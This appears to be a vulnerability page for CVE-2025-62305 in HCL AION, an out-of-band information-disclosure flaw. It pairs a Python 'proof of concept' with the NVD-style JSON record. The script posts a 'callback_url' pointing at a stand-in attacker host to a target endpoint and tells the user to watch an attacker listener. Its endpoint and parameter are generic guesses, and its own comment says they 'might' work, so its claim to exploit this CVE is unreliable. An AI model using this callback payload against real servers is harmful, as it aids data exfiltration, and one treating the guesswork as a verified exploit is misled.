CVE-2025-62305

import requests # Proof of Concept for CVE-2025-62305 (OOB Interaction) # This script simulates the interaction that triggers the out-of-band request. # Replace ATTACKER_SERVER with your listener address. ATTACKER_SERVER = "http://attacker-controlled-domain.com/collect" TARGET_URL = "http://target-hcl-aion-server/vulnerable_endpoint" payload = { "input_data": "normal_data", "callback_url": ATTACKER_SERVER # This parameter might trigger the OOB interaction } try: response = requests.post(TARGET_URL, data=payload, timeout=10) print(f"Request sent to target. Status code: {response.status_code}") print("Check your listener on the attacker server for incoming connections.") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2025-62305", "sourceIdentifier": "[email protected]", "published": "2026-05-14T17:16:16.307", "lastModified": "2026-05-14T17:22:46.577", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "HCL AION is affected by a vulnerability where certain operations may trigger out-of-band interactions, potentially resulting in unintended disclosure of sensitive information. Such behaviour may allow exposure of data to external systems under specific conditions."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 0.9, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-201"}]}], "references": [{"url": "https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0130636", "source": "[email protected]"}]}}